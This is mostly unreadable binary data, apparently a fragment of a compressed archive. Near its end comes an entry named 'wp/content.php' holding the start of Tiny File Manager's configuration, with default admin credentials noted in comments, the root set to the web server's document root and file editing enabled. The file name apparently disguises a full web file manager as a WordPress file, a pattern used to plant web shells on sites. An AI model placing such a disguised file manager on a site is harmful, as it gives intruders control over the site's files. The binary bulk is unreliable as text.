TuKJ},	(C8]M7Uނn	0tusizcofhjy*3"҄]57saA=2I|.$P _Ƈ`@n|xrgK/B:"\n:?;qLfL2lzwû.4h(X+' @@~H4!&TZcJl&'+y'ZKs.\VmVZ#n;~FgY|p.GpowmpNc6m
 W({t)Yn+]17g;L=/@Z h2ƖsL_MA/Bf'?boOjC ~^:q(Z]s.	_Ы(
@fyޝy^XZ;I]	/-D[KX~TTc1ָM
!'wFy%[+&hk˲0ĥItAЯl^iQ j7RP7yuu46b9}F}xȉQL|j1h@oG5s*F|*t=2]_MtusizcofhjIJSd1Ơzsm:l5p=.NR(O Cgtusizcofhjosmvywndbca!63`c`dc_WH$}0MK~wm@d`'P6/GrF?ytusizcofhj}74'8^xwډwMi,[,lF;}P&[ɅBnC_`ƪ1I,N;ρ;?(u
c?	k !ke5XW]M۶ODvR/d(~$^W%ԙ}F4:©:J;GZ0g纮`xqdc~49M(
osmvywndbcꆾ"9=CAz5qjN=f+^h|0?j+檪8f|(Q[zWtusizcofhj)Nc8G?3[j/Nŉ:1=:6c_tusizcofhj`ff!އ++(9nq60_
X6=Ia0n%.}+`9osmvywndbc.@aoZ ({~j`\e{sV?ԚyILRާosmvywndbcÕb]zJجT7{;^
KL#D*,E1t ٯGgٱRޓkJHs&q4;ޑs^FgDf;ПGI(T%OJͦBrG#plɊiK!'jվ9XnNR/P//}tusizcofhjvض5b]68Oe,8+/q--%ypp+sm(ZaEI.Ⱥ٭s4۪w-tusizcofhjPx--مS4{x.ع{~pWs
ҧosmvywndbcK`}xh Aosmvywndbc7}eyz?t}#%;Ft ų-e
BCt{:T` ^'6c6vmDP$@Ơ#LUR5K IjvCJۏ8ߵzC2N۱ݾY| .7R4:3\CX+`2X^ʯW+}H5cOkޮ]/tIۦ=IN)$iosmvywndbc]I-E` ]2d.pۤZ/aOzN%3}QR ;tusizcofhjQosmvywndbcȉ9@V˒))s"k|	ꅎEޯn74JLnZI*zӀԀ?x7b瑃J)d@s]SXC+B6y-8@}E^=˩ CPu"=QM}bg&*tusizcofhj\;enlJo*6m+WYEEp&Htusizcofhj!Sn6Fݑ^B)osmvywndbcSC	e:']zIvz:yVщljc{C!+tusizcofhj}4=66'AVm/Eqdj@VxJCi&\a5&pHfsR̅;HRD#)*b~B5^ٱCaJ·/^{VoW{T	Xpa. cׯ- U{Q[ޝ&7xp_Gn̅ 0ɑR5E?sFJE{yI}dm&\qTA:靈U8E
:|.]3vH7adbwl.Q9HLzRFANh).w/	+oER~;nRgLosmvywndbcD#$b	E%2l0,Jc/gYJ;2ˈ:vh3p|a&Z碕H;Lf'{N\Oa嗢~E+%,@oե6̂B8poosmvywndbc8 Ry }:Ϝ G쏺x0tusizcofhjYn(PNFx?Vi5×jnAp׾ z"ᏦOv@/oZqQA a8qLBc\T\#oJRDi!ֱn4^?Kl} Tsd 5A@z8jiaJVosmvywndbcF}~O#Urǻ6nPosmvywndbctusizcofhjUʫ*1OI*2ϸ$)~t4ѐ_; y$tusizcofhjTw5hSLsg`ud7=H!0foܾrO 5|WΧcɪp8*e$ v|ڶ%;il+\./.-
6+d[[Jq;w~دg^tusizcofhj_Jf&qRu9:*xetq)x*LP".K|+(!hr^'tusizcofhjļd+\nI{@oؒ/hXop-/VXQ\)ؙ2|m%(X8u{tusizcofhjs΀kYFufCi{ɛj$,dsA=H@Hlm)ՇALGg*dilqLgԛ~;8ԟzMtRpYcAXfs :퐜T]͊vKDb$gosmvywndbc;@b?]4܋jW%Rgڸ`CRDÒAB맩64{bN tusizcofhjtusizcofhjrQ\z~j3h+NpdMYj wێzea(;τd]̈́zVjzoʥĲ zXٻZo7%bÁjשּׂe&	o._}mȻtusizcofhjIKdQq
,f M[ѐRutusizcofhjhQ0 T+*q*osmvywndbcʶ[[ CNEY	 #QDI98w,gp/(~ ^ԀB~t՚
(Lf-s+)[Aeڟ]Yv|wC`wm$'gtusizcofhjN8=0M 'NSPcݾ6@Mkt7{`ÕמJۥZ!͍l1*NRyTm)_Btusizcofhj5~%Nn2Xt6¦
@{#qqm%	TNLzZ}u;eWU)Cs7.pP*As Sftusizcofhjtusizcofhjk][|&+PE+xY,]7hS;mǛ[Kj[m~J{SFG\0Xtusizcofhj/! ˘þ/.KtȔ
UThRlo ]05b~o#G/YEosmvywndbcuL{XZtE1UۺmzhxLNDœFOL4~n˓{^#fi=D ۑ^rZ\tusizcofhjtusizcofhj BQv8
ҭ,tڲiF
K OLCvQӿ8[,r	@8r{7 ˂p:JtusizcofhjzBv7[~4q9W]7+ ]ǹ3*:}EK|
ޟ8d$Y?u"WdUλ0`
Mtusizcofhjl{H^+d!__.yp%%Ҩs:uyy,KĸX^\M.hIpC3) Q=ȃy8K"5Q/wosmvywndbc5H	`9osmvywndbct-I{w ^DB&TI-XdjUjJ0U *;"40_3WL)LKB*"E@g RF|t=oP
QTTxj~,6'9lہg	gj}rhUP/l=PǹJͶd&88nWɓUNSd:x+ /wQţ; 	܂v^gH1}MODڒwSpyn-Z{i ڤfwBXïM)këT#J}:Tg̿e,;VO2hQLP6|K?Fz3osmvywndbco2phF	˚QgDa8stj	n i%Ԝp}g-!.]7',SONHӪSjTjM?~sWӿй;m}aKʽjA,TCB)HN[Ij2U$Dp}P7̀6OzuL}ɖu\J)m3Wor~0`uD1/Z]m|)UZ;zO-m"?u:_ntitusizcofhjϟzDU[A2(^e!	UIp$Vu@,-.	D,OF)pۉosmvywndbc
PwcP~n@ug}TX`k@%kR|fna(tusizcofhj&?TOܩ;SN)x"av_M[O]g*UZD4lr.W"UtX=l,$a!c[osmvywndbcfAZ5B	95fUxvj=N	-bjf ;Pݖu#tusizcofhjB	6f3w^9ڲ(ߟ[osmYGG\w_Q776"Ѥ]$yBY4|ǶN$*U,HmˬK'Џzosmvywndbc7W۔wG~2	v=ȓ׾2@Z9(wsۈ=[Z[x#J\/gpnRb$~b	~B:-̵T g?kp+'3[2B^Hʂ-tusizcofhj="d}?osmvywndbcfM+
D\,s}oP0krFىosmvywndbc*r?HG~cIt_L}@cat%/S@v@uXgcEt=īq}ltusizcofhjr8tusizcofhjQa/ӬWX]{)_#`#F"}bsTwΜXSP06|&9=)T'sLnZtusizcofhjŠ I۫h6~sJmJEPuV)&\cL{zv+0!ݿo r߭|"EƁ6ݲF/}u@eO}S.V]QM
}$+.e25+Y^:~"xДD자Ab qFtF㫈zc扃]n؏$nĴ^rsk;gLL jWbaxW@^٬gmy9Fae?\¨yBZD햞0wo!SE]6g $JdPZM%H4^D4^LSou}w29/,;`P 䤎eӬǻ5Ic!=o-q6n3!/eF	˷v`0,BǾ$tusizcofhjq?yRqe*rHNf58;Ws$!)j ^ƣv31@.8.p39h4%5Njb1\sv*J4%qb
|q3#g@gAKTosmvywndbc`_9݄ 黸6b6M
{ɎWnrzw*E.bMC©MI\%8dMas㗺؝qQ{:RTsƠ)jfF`ү}%osmvywndbc5Ÿ-4g`S4#sXjO+|ѪR溤7&*S䘶T^	gtķ򕭐]|m_pD#YĮUh)/.VmosmvywndbcXRߴYv#tc!vF#M+6Mr-)^8;bZ |\r砕؏jQ׿abjMχ?\+\P$	[_)h7u?oHIf/2'mƘɏּ+ ^Qe-'@VU!Ulh[WpeBqEŒh) R
(osmvywndbcr|*"j~^#v/!k6Ͳ,ߘ9)'rVH69\aE2Xn&$q5دhSs`k0=tusizcofhjRLS,a̞?7mf_2)7nX	*eh+{?p'p[Ȓ^M.tusizcofhj|1MNnݴ.0 87YN"Py|nPtusizcofhjmGA}g搯+#Kc=9mPw)G]SVtusizcofhjQ	*oH13-C!fyN081uqnD0${AV*ъ]茶TXC`XBF=~ۚ +g*]k~posmvywndbcosmvywndbcͩ#\ߖ'&@6בɊDjqiiy`ܑ35BrosmvywndbcyBO|S~*	Ls~(Dhw	A[j- duZ	,Ӏ1|6w/v̦`h-p"H/a2boؽH8WJYkdjCeyUwdڀEQuۍZ9sK?_Yb9ۖ2)dzGu*iJP0	_73#W	1vKJ 7W6eZLZ:$&VAwz5grfosmvywndbcl}kcM\e/9:ƆPC:o4X,@G1ߤ  ᏢDb}tusizcofhjΓZ"Lt2#(p ۨp~bKk	'.SZ` '7DJΝ՘DuJ7h@UVCֳpdv`a =̚^R2afx*]Sg"+xǊlz`2M['Hnvbm1xFP#*$"
b/"?+(88qs9^;PUbe+)@FuMU]FL0YDwtusizcofhjA{}",ub?mJȜ=xF3PK҄(2aJ~q/.klMg
n~Zf2%=|8|@iovAFUosmvywndbc
jtusizcofhjacMSQUC7%5#WrF2+Z[vpMY%9{ŉQtݫ#IjH+Y3ܳxe۴cz6ߺrU[|v΅gSi#u68osmvywndbc+Lr5XO_{6}3ۈʻ[Xcĺ?̙*aI{:Djן$I5˂E7) GщUw;LvSll:䄝8|1JFZ 
?oi@ziLܬiӬ]wZ3_돛R6g-XbX(Ľvm.],z2Qd8b-_&m9ˁD݉Fw_x(H.'tusizcofhjӱ;S@&8zPMcmIBDm&8ˊ(iXdY~qE&niQ c-lj "Ktک9k1ߞ@f&s+L"H| 4ɏ;9ڶ	a P-_UxKtusizcofhj\Tm
dIfwHXHBIZ"䱗ù,5V{؃/Bގ`Shu)}3a·l	wMTai5TGøvp([rtusizcofhj͜V2O3d9tqr͂3c{X?/nE|t='ۈ"TM4tusizcofhjŘh}fզqf/^/(0IgLyJ@ &M @HQ	OaDPؕwB6J?]VI~Oۏ CYCf!1f ZFfXvy(_g]Eke!:sdW4)
Yu`4,f5;zdA{hn:&]
 YagGCEtusizcofhj'o12D@G3N	#_| qd
M%JM7_!2N
~**v1PSm
4Q9zd꫙|Yb}:?-PцJ&;^ۯ8LE2,@5꒮":ET0 Ħ"F\sS	7y `-z^+\osmvywndbctusizcofhj|cɧB3'imX IP$Z|Vs@c?%r]JCؤlsޮvv-߾xa
^o0my|Tqv3#tusizcofhjqNkDWm
L.kpo:tq᭕lRf^JVvFѲiSB {8Z\xpF~8]~#@V«1G`wL+04KmCxO9i~y9D5(osmvywndbcEF75PeY'9ͦIx(aPY|etusizcofhj|XM6y
}+~uQ:=}""ei+QDy&o_xeX]Jqk偖)ДΨC]yJBX/ޥ1ڟH$!-
 tn*jC?7?"gd8$'k})̱xMAXvbKo3)zWxwa82OdZ!tߵ\osmvywndbc9IYM_AmgFJDb]Wn1=9 { m[4EȆ
\Y7*\tusizcofhj1\M%
ίL9] 	Ly!خ8'V:ctusizcofhj@]-etjh$/[n1觝^]hw9`[Ufab!L|FC4_SQDxf5*҃ʦ\9\
xJ60 8Q26βt3* RŲr]{Ϝ4Iu|+ѷ6o
bƇ[JޏɭХD0M7KA~Mxm̲!BOoxtusizcofhjoI/t#-.𙇤uoÇG}*=^YM":LqX୉\+vniJdbmX)D
#ZkWg2L*6/Yϰ2qNg+Qo 'Ijg;1ln/ey@KL9̓IQRdf8J˧}\b{|,dcn.UW˚Dc3skRpĮ`ٺ{AsHۼ/	z!Sk@nVvDFQ1}o)JaɀIeiwP2:8(45ގd.ݩM܋HL^F'zD~ꑇ%osmvywndbc%o~!SFb.vx 5s)'NE$.
M9EاWTn7_mYV]L)K0,qF?dKR6g|n0@(BVʪ^]eq$5$ŕe_2;ޡ}Y53/tjI: 8kob\3F{llOn$DP.KR'FWBqHtusizcofhj؈nBnݾRp&h2C2U+^E}Xb:;~ܮO塡
B0p!= 0_{D(mD/ffA~JFRp"y=ǩ%Gu!'o~rsidϒzE1%gnOfJD{G9ԹRNOP;Tي/[ɰ&lUkģ|tusizcofhjVUj+LfBH,mKo1Mi3^m
CC|r\/~cbMLH 6F/?cɨJ;]/rix4 VZdtD/Gposmvywndbc[b C 	X5251Pn
LX*e}DD{{&qi֯Mxַ՟M- ∎'8x!pTiF6rD}%I| 1HxnfS]Kyِ"i͐T[F, =9k`@Lgd6A$lQיphdN@ ~ܶ!]QKu/bs@7Z_b_5ľWosmvywndbcBd x _~EO,E.39Dh`ĸ^Kfյ:9npE:z~#bT=qWHcp0ہ\..˱$iosmvywndbcYqS#7nok%_MFtusizcofhj5yL`&osmvywndbcOZ! \!s;_l$832&If1f/B̔X52/A)4`G~S1C2/h	&\6uosmvywndbcX""׬fU%D-V4sbƏw$]ߵB}j~B.ӔW8nW~?v+d-S%OQdr̭z0p[7s5%t==}(¬f37iG4:`G##$'OmnǮj
8wwCh2c  oAU'45BXG~LPosmvywndbcJm
YCǔ˦|{9$ Xh0̀u]gܳ_0L]Vb= ځ(siViW('ב x(]M=~ݛTQQ7_osmvywndbcPt33i2IyD4_oK-$	yPhW2'׹ggx_$Xa&o,?h3L!,?$!T+lp۳ʎu/
d4ܮ^(3meF·Id~3`qi⼘ÌosmvywndbcV4ʮvT:B'a$GAf7/-U2(AꓨYK]Ze--"Mr W1/p]X'ݯ5LM_0҇+aKƌ Qk22yK6z-uMݦaɕ,
@!z[."	` 'C\VFcCiqXB}UIAx4LӾosmvywndbc~ fKu&!+CtPx5wtޑC͆wyt!Boh%p1aUK
sfpߘknXxYH?_Q\)@a8O(47=fNx1еf踹 :,k}q1Q׈vҽN lhL֤oBfFԑCtusizcofhjkiAUn!PXsT͝\w_q__"L:Kz7JM/.*"@D;CDl'΄ZdѸZcjn~:=PÛ=NeݕL%%)P⭹,ψtusizcofhj]osmvywndbck׎b*c7[]k|vosmvywndbc)̒ZiT
~B7Hˏ\B	8iͨ1\a0q^!j;tE󹱶osmvywndbc _
fi4+9O۬{&C@(Ή0FԅX?dWiO#Q
02ߥcAioW$=N	s(`G
OM;~",qǧtusizcofhj~wOyF`7_h?I%˻ѯՖV? *M(Dc'p	?cPqљV.T61N6Z1LRߍ%T-vpRgBL2tusizcofhj)
W)6~s$cbcF5eK	\*Kنp A#|Dq/5' *r2)Q.fܓ_\Kz3 tft@X8osmvywndbcx|݉8e dؑ8,3":6=':SZߕ]{+G/%fIwS_|wm`i.}[SQi$A딠"Y;ͱ"Lye!&ǀ	4kefQCS/X~ Q6 omD@)	#uNf@=Jkod(;,lSlbmbސeۂ[  KMxN#}9^S1H-߬Qtusizcofhj-	-|]tusizcofhjo2"@U@H(\arRnѳg4-`Z2/tusizcofhjׂnGF8osmvywndbcLu'~yR.m_@_=.X|??ttusizcofhjNrszXJ!fKe!m2]6t-ј _}
Sosmvywndbc^31gp,m?Y/14['y$Sś.*h)zy *SRUp|BDwfpL~ @|W5 ߬:=D,gV#_"nfgcҌDmNtusizcofhjbwr	)wKp)/an -qgc"f^	'݌L{etusizcofhjH+'?3呖X诫ٜXY#oUcI{)ww޾$ʻ \E?y30O7Cc?=K\SM]$!l
.܊1-$@S(q٭m# {Ysbc%E όYd4J\&+yZrXB=osmvywndbcP~]ALle8osmvywndbc3 +Ghb$-
Ezv$©sd#_usgIQ/!{ osmvywndbc o.n?z\MDxAȪId!aιZosmvywndbc1A"6g3X.AG#z:~P;
Oּ~mi뛂Fv_.4eOROí^L;DnXMՐɈ{v]LRQX1Q(zLеtwjosmvywndbc]N81X|Z|7lo/3 ܨ,dc	,wkosmvywndbcZ.IX*ύ㿧!{l҅& 84f_xntusizcofhjpw'ҕ8iP=JyW޾HBtusizcofhjօ%IZosmvywndbce{v6͙4=9,D	R@u/^osmvywndbcmLtusizcofhjlT$tusizcofhjK˅^$Z#BTP
#)?3foć4U0KN|NSՉ3ػa!]]i=Rr0+RpJthru.Ml:~ԫ2{D;KͯFKg
47ݗQHMlcO2;-4m}~\s+ukqLTosmvywndbcq SJTDJyr9#.osmvywndbcu8F'Ζ@Twg2rQo WvLE\tusizcofhjlOuS,
%_{6T:djm'Ib!]3!iܯd[^AX`BPIi啃yEN@6!OkGZ GAWη	ݮao5eeT|"soK6vݣj:p=mk2g9^EtV ApOG`9RGr}ltR9݇vLtusizcofhjw0ca4$v:k;u4)l
{{?mI.}#NH5ChRL%o?w.`A!y,4~g(k~'AuEҽ)ʮi.ز!_a= -+('ĜãPs6W\josmvywndbc1YkU%6M`)vW#OZ[9"-DA.2'Ju-ڡFsK߹',Ω[ 2x#1׹x&l']^Pj8=!ZcEHсmAfTcv2,yC	ccJQ6(=B[Qr"wNd[=JO%wA#`_|=bze|9Z{PY Qtusizcofhj̐ZNosmvywndbcxM1 Y,aFwqm:D[ tusizcofhjtusizcofhjL_v
ty#.I{"M5\B3qLJ[RJzbɗ:[Jb?2Ds,+nū$4)|s҂&tusizcofhjvF{EYtusizcofhjlQgٻ՘5Lt`p
G--d_t-@#v#i!nNNGvRuT}o4Ťosmvywndbc^Z[K.GF=.0&-
u Hؗ芪Hb*%kKtusizcofhj-Ȳ!`q$:nL]љiiłPqr`}1Kc:@Az*ZB&UӡƋa?g8t{_ځ(	k­g|UiA$c_tusizcofhj*u2NZ3{IXfFwÔt.GREuLrosmvywndbct҄[;~+vCtGyLG\	=)?x8c=v܀Jl	^G@y]rǧϏ9w$}d0*'٢Q;f1ozI ]^tIy]K_ǇdN@	rf
`Nnv|XUO:8:&aW:t̢07wz([&ҳ88SyJUÙZTtusizcofhj=[Uc_E[y߯D!;ъkZƢ~og7SMer ~?DO}I} |=mm(fҢy!Џtusizcofhj^вǓb9)Ti6Z:!̳'^A*VtLw;p^S!EG9(oe,`]bDPFўpy$DtQ2)1gr90?d]̀iyץ絮ps/Y~òǩcq@7FA_vT}q=F(rKꏄhAd4q5KPѰ$#
uyHA/mo֚t4i6v0F+#$g5H-kXAzBaR|ξ8Nxs[ߍW)AĽQ2o`ƣ(P[O)7f=MN;vݔ#{e҂Qa7.QKyA9Nȣ1/idhb	-@)^I %^cZ_wۺ)W]|s)Bۺ rosmvywndbce_s+1Qr8Y|r~"	~y9\R.Yo.'#PfJ/f Cpntusizcofhj\	#]}I{{osmvywndbc)1'?wՉtFeMֈ]DkV:\5+ D!y0YV;N;&Ћv~5Ǖo88SF-^ۥ|)e̵t=A=t9w[7糙/k-$/Ri?vLSViP0rF'%JKRAǦA7	gw~KQ.Lղ滧xԫ;(xGmƌ_"-P@[G#D蓅NOyuS1zLd`tusizcofhj-W3醪Xf|̝沍Q-mdVZ/^:}~;^P/rDPn'WB~`~ϤBN4OW0g׆X4Qg68GPA#[33p}~1դ%ε!~4؜KERZx_olM
E dߥUP*J_o@T=tusizcofhj
'q.DӲz!YUfÎm:aJosmvywndbc~nz7a9\gJޯsN$-|lיaBt'6=XrPК]AsO^osmvywndbctusizcofhjaȳд	gƚt.9d /,MEnqܮ}UmR Ya9ĥln;tJtp8LJ"uKǣsvGsk3!s_,4NĥK]c򺴮sus\PnO1QD@&'~9fР:M*lVRq?rE=^nw.4]8B=fYX!Hf~97㚗?!!i%Re^=s&#2URx(zqedՙUX7/P6b|HdWXefGp7osmvywndbc4⿲A)yղ9И+s=]6ЈoO;9J]~_C4n|w"~\w@fn8raGS{3d
[A$؟۶Z"S3f!0(PxO8\0.B`p Ai1;bp*KWӶXÿj]UX+0յ|guDtusizcofhj,{ɥk"d*3t%H^\T9OꟘjކS1V7+Gfa)}^@QN2
;$#+gkKx+^R#8bmKQp{2GgbmutĘKґE8C=yH_sPE&yMy cp|0|[QF~Ծ%BF˚ζkD-SV|;A0UQywA0UZ!RĨ/kvo[Hf%kn
ߣXP;,^85riakہu؂C~uK;jI	x8lv)&"@9-J,׈X1Y(Ł} ggmV l qӭsmi4(
e+@MZ8#ӺY&":؈6~,8*5%57O0nCLGn[oc(NMpLkԺJx),=I*`]osmvywndbc}pgC\SwWw9튷,&.gCI\, {n8\S]osmvywndbcژAoͪEǓEC\* tLQ|. g/\0uʯfջ0jK7/8	}OK*Hs,0]b_%u AצQrRK⹼Ⱥe-&״ߚ7dMz%A#7,qH"vUlosmvywndbcW-8xakFyVRucktusizcofhjxK;lX~#i&#şz:ѭILFqG=D	o?T'AfID
4?Aۼ#BcƝ/_Z$	b*8	ħJ/V=-_uV|m\tusizcofhj% 9sWaֱH
qp!V?\7ZB+bKY`3`ޯb, _t;L\D`+tusizcofhj?y)C|؆=%z*s3#w^Ȟxq)17FG&ܓe1{6[o׽(Q2hosmvywndbc
`2D/'P&r;e[=5ZluosmvywndbcCSA\{[RP\=l}}ͣsr
&,TH8Uϲj;tusizcofhjl"@OaQ/M0'9XhrpmyKG9nsL|Oa\eHgIi8LˋVq2FVRǢ
B}~M4_:K}E&xse`[pxqپ2Kfiz04-I;PR0cp#^%IҍddxQ	3Tt{=VRΝ侺e0$^!5U6/Q,IucۂEI7Cad
U Dv9oGkBHosmvywndbcHf$$xBaa#Yρ`A}hrtusizcofhjua~4Z[bt'&|BnkesVmFVKuVlơ~N&bma0ie.JlRA,;Z9\yZ\SMC/SZ֩$f{3c~Z2Լ:gCEzb/ -ۜ4|P^VXuƊ/);,5"	Gw!k-$oJjn:O_D򵾥
$|+ItusizcofhjxXXFޏ|E\dtusizcofhjV0kL'Bs\YZl\|(tL-6_1@H^osmvywndbc!n@M[ƪKtusizcofhjOb}Jٹsɚj,/8߶aGVdXtusizcofhjPlEdQp~)	4yB61A2"Ǹ	K4FyN6TjU%d#s?!Y\B}L{+=vty9Znę^1NyijeA0	oEwxlhf&bOrHM4K0z+o}#wpE[]YGwqYhx# s֓"pW;=t$y&osmvywndbc+gxj}`π$y8bqqnlWe+(QƩhnk5oI?^OMjuv~#ԋWjÅ5D(Mosmvywndbc:ݣ~O`*gcԴeU!&UQ	܇2Y\ƒJosmvywndbc1`oUvXhg!I&kݶÁ:@	 dX-MosmvywndbcEvZaBŞ0j[)mn^:#nuGKr*{f.osmvywndbc7QYQ6H:TU^2d[H]aK6D\voqߞM.xwN^LT 9K-r3׌6j)Ҿ52Ku6jtusizcofhjT,Ia%i.ljV]9	fHiV5ymZD+cAdM-6gejepd%G10`=(܊NnkkdcY:k`RqlX|[{_VDkIW:96 ]'ќ;#Ttosmvywndbc|Bv^ďVosmvywndbcX9rK?=s~Ua@"UUvV'5  IrfEK܊(Upsi-)&n/?Sʥ2^VMJS}).9IF^	y:]at"D5LoOnؖ[]_X[;m-)t 3`9YȂ%&JK%&3$Ah)"l^
C27enosmvywndbc򶯒+R[f&&Gz	V$#MDXZZO${ĝ/J	zwI%18$P
5m*A0srE{s\Cfb9B] zLdmotusizcofhj|TT}@F4Dh++Z
N@ာ1izC%1Xd-c;ISd;WHAP3V
ҷ[!4|S!@" .'s/1}yqt|
)?E0k`ǬdmP^hzPO#ץ#߹8#coRɠqf~tusizcofhjDtxޞA	F@S;RtusizcofhjP0IUU*$/%JÎUe}4rDas+nk
[8HBp8)tusizcofhjy.&\_osmvywndbc}~y(Rm=W@;jDaN\JܙH%rl3߭e$q%{{~]&)f
C 	:kv%3KlFs5oήڧC:)z[s쉖jxP뢧	=͜__ jT=osmvywndbce,"dqL}'(tusizcofhjwzN˭6osmvywndbcOޢ}{b8Mg'z=.l*7By,- ܫxvwݚKͩ	.Sm|2/6	ޝ6[ҳFnT4iosmvywndbc?xa-Ƙ'5LnR԰7B5/0uUr(&^,CaF#@Ϊco]ͫ,[_cۯ/+pɧˑ$(+&ӣE$~Gd;*a"j)p`IwUJ]s:yqhc 	zx0iGrn2i#H d2vr܇v^fJT;7i됵osmvywndbcb
!#M	%!h߷D&3ATosmvywndbc.|p\.mĆ;$k*3}^!~%tusizcofhjpt* [8׷Bh"0,Q
5APPxJ^ot7CR[FJp{yַO4W#.|8^@H&OnO$tO	ĳNp
SL{Uӯxe$Z4jx7)nFLeljı)4b9hk0Sg/XW;ІD4,ַ#+XTQŪ߹;:0,zF! elT$Z*r5OGKtI~U#ouaz1jۣ@m3X@ÀҜez#-aۻj7;!l3W^
1fK9i5Ki:KI)z{? :)n+yo*
zCuBa	%JU;&Zj|\ģCkĺlqڌ|C\|3l!0ǝ7p!dsMT|2j	jh,-jLSYSëosmvywndbcEֿN 5;NKP@Md.osmvywndbcjmꢙYG9 tqf\č^)9fo;(8\CE2M?̤tusizcofhjosmvywndbcn9}8㱌, Ysnʫ$|?Ҳ,̚-rs'F QX5En"f\osmvywndbciCFowRۯ~SR).@mXbE.ȺjsS6BUQ*~(7gZ27#L`]v }ē2GY#*([ Ey'7osmvywndbcY2foh
n7$OfQ9dmW-;=dƿE_Rx+^um]|$5 lvGcwǌ}]}ĥ`|{\ )/9w7wv~Ci3el4?.J?kx|M;D։c	0R3hNMoEf!d.(zP'*@h\n{n[Z[2@z,- %g2tr#9XBbifh0M %U+R٠&tY1y'p9{s$AKtÇT[0	n)لOwNS:hMCŻ#SmNj)5.#g *o6d8ŨatusizcofhjH"-W\7(Jst!|Q.^Ԗ9WԷ/n:%~?XWouFREM'z,Iqh[K#osmvywndbcpi[,
RCRhN}ocIc[ˀbEXAw%)k4Kh&'P}9ɿ
ٖ%y}*([A.tPLtusizcofhjVI*e@\kHDd~}!I1%.7!;*־'ԝ)U%Ց2-j2C4D/LgTb9NBGqĩզ*%6&*Uu#sS`! 49l1,Ir`8`=҃~(
3hux.lew:ɔ/^-
!F8W9XcA!BosmvywndbcDgم\4wM5护KNg)lQnR7:Z$Wa4E]6K)$͗/0~H]~{Ў9Wsu=z2V%vEwi,Ipk0ڹ:|/a]zN;.LJnpRYcj;NO{H!̄ت RX15#v](sBȌق1uOlm2gXx5z趴r֠C$2~O`ukɪy[Fvzg4osmvywndbcLlEtusizcofhjK~GPAf`;Yóv1@d9ar_zif+e]y*o˙d?osmvywndbcDL'tlt^4:vQ-:10N{QM!zp3 .@}}焪jq{XL]@ho!܆4gflFԷ.)$x^-:L&%ιL0o&\2Ñ킨*P?th.
'tusizcofhj*B]I-G=2t[$c܉L"h] ;o~ͻOHMk;=qLkESvȖz&$CAf)QaUK%Xw;]Vs4osmvywndbcYʔ	`0#xrޒuZH=FZafBN.N	W=!ϗFo"~b	F F2K4;%`L b׵~1UWڭ0u*D:dɁ|0{k=qxtQ	}av09zn}T,&B 1d~(|^Mb?Y*5{=1mU]||+wM3[!'ឲ1?ۉ?{Җ%.](NW&SOe+UlӁ}4cC7VK :)a^tusizcofhjtC7H $ Yz%4OǴ\Ös0?kMX)QEcޓJS@7-Gxx9^RR&%rhS ژuc# 7Ѵ\7AhvOM^mH{|G8?䍞I~ׂFT]	EՆ3ZwDf$~jEA֚~D~BiݬTW8Bzco46X
o~ߜ警6y1.+Wosmvywndbcjosmvywndbc1"8Cosmvywndbc=]m?ya%F0s?߽y/+4o(׍2~Gou%6osmvywndbcVtusizcofhj@tFwqCċ]ufqhr4滇/7ĻasjW{McKڲ]+ntusizcofhjxӑݶ 'Z:+	V(Y	ȫ5~ql'	'.3*wlD+,}P?ipBWzSi2o,cf89['GId,,\p#RoE˰Ya.%Äg#Q~S,Y4xLo\ޤiauT۾j郆os8"0a:pl6VS
"ku
$ǜC%Z]:g/$M-wlԲ^49 "z4`\5W$l89L39g/LA."{Q-F+-^|.R,(9:-Ip^iܸ A;:NotwW|iܻ70!EnzM%osmvywndbcH eVC9W0(#IHeeHosmvywndbc  %}/'%HIj\bXFՕ\k~BWlV7r.L;l.okxōGC+m92af;H92dosmvywndbcJF|;jBXHp{ޛpPptusizcofhjyUǿͫ?DԮ:KAvT6ER3F,шN޶~b}#l	 g9Ŷnosmvywndbc{cY#K⣝IҞ]#(Du6r$}1u%t*:ǀ\IEIg,2n(˚Xݎ6HgjɃgzyÔ0R*vo4y߻|_51bLD~C7uO0[Kosmvywndbc{꾬(3ugZttusizcofhj%F05Xosmvywndbcv=YT{TVT؎ᐖaN"`BR,$,F%"(I\R	Wg̟0nwTu9tusizcofhj-osmvywndbcosmvywndbcWKk2	aϺ{d\!)#gVTiGҲx@Ghl=0BxSD8!3(_-PK       ! 'q q   wp/content.phpnu [        <?php
//Default Configuration
$CONFIG = '{"lang":"en","error_reporting":true,"show_hidden":true,"hide_Cols":false,"theme":"dark"}';

/**
 * H3K ~ Tiny File Manager V2.6
 * @author CCP Programmers
 * @github https://github.com/prasathmani/tinyfilemanager
 * @link https://tinyfilemanager.github.io
 */

//TFM version
define('VERSION', '2.6');

//Application Title
define('APP_TITLE', 'Tiny File Manager');

// --- EDIT BELOW CONFIGURATION CAREFULLY ---

// Auth with login/password
// set true/false to enable/disable it
// Is independent from IP white- and blacklisting
$use_auth = true;

// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
    'admin' => '$2a$12$AvmkfBdyp5XQWiqDgjE4HOZCDDC3F/yxTbf2tW8Qk/ExBke84Z.ma', //admin@123
    'user' => '$2a$12$AvmkfBdyp5XQWiqDgjE4HOZCDDC3F/yxTbf2tW8Qk/ExBke84Z.ma' //12345
);

// Readonly users
// e.g. array('users', 'guest', ...)
$readonly_users = array(
    'user'
);

// Global readonly, including when auth is not being used
$global_readonly = false;

// user specific directories
// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)
$directories_users = array();

// Enable highlight.js (https://highlightjs.org/) on view's page
$use_highlightjs = true;

// highlight.js style
// for dark theme use 'ir-black'
$highlightjs_style = 'vs';

// Enable ace.js (https://ace.c9.io/) on view's page
$edit_files = true;

// Default timezone for date() and time()
// Doc - http://php.net/manual/en/timezones.php
$default_timezone = 'Etc/UTC'; // UTC

// Root path for file manager
// use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder'
//make sure update $root_url in next section
$root_path = $_SERVER['DOCUMENT_ROOT'];

// Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder'
// Will not working if $root_path will be outside of server document root
$root_url = '';

// Server hostname. Can set manually if wrong
// $_SERVER['HTTP_HOST'].'/folder'
$http_host = $_SERVER['HTTP_HOST'];

// input encoding for iconv
$iconv_input_encoding = 'UTF-8';

// date() format for file modification date
// Doc - https://www.php.net/manual/en/function.date.php
$datetime_format = 'm/d/Y g:i A';

// Path display mode when viewing file information
// 'full' => show full path
// 'relative' => show path relative to root_path
// 'host' => show path on the host
